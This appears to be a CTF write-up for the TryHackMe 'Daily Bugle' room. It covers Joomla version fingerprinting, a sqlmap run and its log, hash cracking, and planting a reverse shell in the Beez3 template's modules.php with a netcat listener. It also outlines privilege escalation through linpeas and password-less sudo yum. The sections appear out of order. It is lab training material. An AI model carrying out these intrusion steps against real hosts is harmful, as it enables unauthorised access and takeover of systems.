Version of that single module / component (both happen to be 3.0.0 because they were created when Joomla 3 was first released).
Each extension keeps its own changelog. They don’t bump every time the CMS does.
administrator/language/en-GB/en-GB.xml
Version of the entire language pack build that ships with each Joomla release.
Joomla ships a new language pack for every point release, so its number always mirrors the core version (here 3.7.0).
How the numbering works
Extension manifests (<extension …> … <version>X.Y.Z</version>)
X.Y.Z is just the maintainer’s semantic-version for that plugin / module / component.
It will stay at 3.0.0 until that specific extension changes.
Schema attribute (<extension type="module" version="3.1">)
The version="3.1" up top is the manifest-schema version, not Joomla’s release.
Language-pack manifest (<metafile version="3.7"> … <version>3.7.0</version>)
The language files are rebuilt and re-tagged every time Joomla is tagged.
So if the site is updated to 3.7.5 you’d see 3.7.5 there.
Because every Joomla installation must have at least one language pack—and that pack’s
version is bumped in lock-step with the core—grabbing the value from
administrator/language/<lang>/<lang>.xml is the most reliable passive way to fingerprint the running Joomla version.
That’s why TryHackMe expected 3.7.0: it’s the number that reflects the core build, not the frozen extension numbers you saw first.
Cool, Back to gaining foot hold, from searching I found this:
Very convenient?
So let's run it!
There we got: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
Decrypt it with https://hashes.com/en/decrypt/hash we got the password!
Now if we login to the:
We don't see much.
But if we use login to:
We got our nice admin panel!
Now, I tried metasploit using CVE-2017-8917 https://www.exploit-db.com/exploits/44358
Seems like we need another entry point.
No worries, we are now web admin, let's execute the shell ourselves!
Now if you go to:
Choose template:
Choose Beez3:
And choose: Editor -> html -> modules.php
Set up our netcat:
Edit it, paste our reverse shell, press save and preview.
We got our Reverse shell!
2. Privilege Escalation
Let's set up our python server and upload linpeas.sh
Then:
Earlier, we can see that, Tryhackme hint at the fact that we might need to privilege escalate from yum, we might try sudo -l to check if we have right to run password-less yum:
This means we need credential of another user to login, luckily, if we go back to our linpeas.sh results:
Let's try it!:
Great, so our user jjameson has privilege to run sudo yum with out password.
Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.
http://10.10.161.209/
http://10.10.161.209/administrator/
┌──(kali㉿kali)-[~]
└─$ sqlmap -r request-daily-bungle2.txt -p username,password --dbms=MariaDB --dump
...
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:56:01 /2025-05-31/
[14:56:01] [INFO] parsing HTTP request from 'request-daily-bungle2.txt'
[14:56:01] [WARNING] provided parameters 'username, password' are not inside the GET
[14:56:01] [WARNING] provided parameters 'username, password' are not inside the Cookie
[14:56:01] [INFO] testing connection to the target URL
got a 303 redirect to 'http://10.10.161.209/index.php/component/users/?view=login&Itemid=101'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
[14:56:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:56:14] [INFO] testing if the target URL content is stable
[14:56:16] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[14:56:17] [INFO] testing for SQL injection on POST parameter 'username'
[14:56:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:56:21] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:56:22] [INFO] testing 'Generic inline queries'
[14:56:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:56:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:56:26] [WARNING] time-based comparison requires larger statistical model, please wait................ (done)
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[14:56:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:57:02] [WARNING] POST parameter 'username' does not seem to be injectable
[14:57:03] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:57:03] [INFO] testing for SQL injection on POST parameter 'password'
[14:57:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:57:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:57:08] [INFO] testing 'Generic inline queries'
[14:57:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[14:57:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:57:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:57:23] [WARNING] POST parameter 'password' does not seem to be injectable
[14:57:23] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 14:57:23 /2025-05-31/
<extension type="module" version="3.1" client="administrator" method="upgrade">
<name>mod_stats_admin</name>
<author>Joomla! Project</author>
<creationDate>July 2004</creationDate>
<copyright>
Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.
</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>3.0.0</version>
<description>MOD_STATS_XML_DESCRIPTION</description>
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [[YOUR IP]] from (UNKNOWN) [10.10.161.209] 42262
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
05:21:30 up 1:52, 0 users, load average: 0.01, 0.04, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$c cd /tmp
